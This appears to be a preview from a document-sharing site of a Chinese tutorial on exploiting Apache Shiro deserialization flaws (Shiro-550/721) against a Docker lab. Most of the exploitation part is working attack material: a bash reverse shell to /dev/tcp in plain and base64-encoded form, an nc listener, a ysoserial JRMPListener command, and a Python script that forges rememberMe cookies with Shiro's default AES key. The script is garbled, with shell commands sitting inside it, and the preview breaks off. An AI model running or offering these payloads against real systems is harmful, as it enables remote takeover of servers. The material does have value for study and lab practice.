没有合适的资源?快使用搜索试试~ 我知道了~
资源详情
资源评论
资源推荐
Shiro反序列化漏洞总结
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易
用,同时也能提供健壮的安全性。
1、Shiro rememberMe反序列化漏洞(Shiro-550)
1.1 漏洞原理
1.2 影响版本
1.3 漏洞特征
1.4 漏洞利用
1.4.1 利用方式一:反弹shell
1.4.2 利用方式二:写入文件
2、Shiro Padding Oracle Attack(Shiro-721)
2.1 漏洞原理
2.2 影响版本
2.3 漏洞利用
3、一键自动化漏洞利用
3.1 Shiro-550
3.2 Shiro-721
1、Shiro rememberMe反序列化漏洞(Shiro-550)
1.1 漏洞原理:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在
服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥
了,Payload构造起来也是十分的简单。
1.2 影响版本:Apache Shiro < 1.2.4
1.3 特征判断:返回包中包含rememberMe=deleteMe字段。
1.4 漏洞利用
环境搭建
工具准备
1、maven配置
2、下载ysoserial并打包
生成的工具在ysoserial/target文件中。
1、检查是否存在默认的key。
这里我们使用一个 Shiro_exploit,获取key
Github项目地址:https://github.com/insightglacier/Shiro_exploit
通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。
获取docker镜像
docker pull medicean/vulapps:s_shiro_1
启动docker镜像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
sudo wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-
maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
python shiro_exploit.py -u http://192.168.172.129:8080
漏洞利用方式一:反弹shell
1、制作反弹shell代码
监听本地端口
Java Runtime 配合 bash 编码,
在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。
3、使用shiro.py 生成Payload
shiro.py代码如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar',
'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
nc -lvp 1234
bash -i >& /dev/tcp/192.168.172.133/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|
{bash,-i}
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666
CommonsCollections4 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
python shiro.py 192.168.172.133:6666
剩余11页未读,继续阅读
光与火花
- 粉丝: 25
- 资源: 335
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0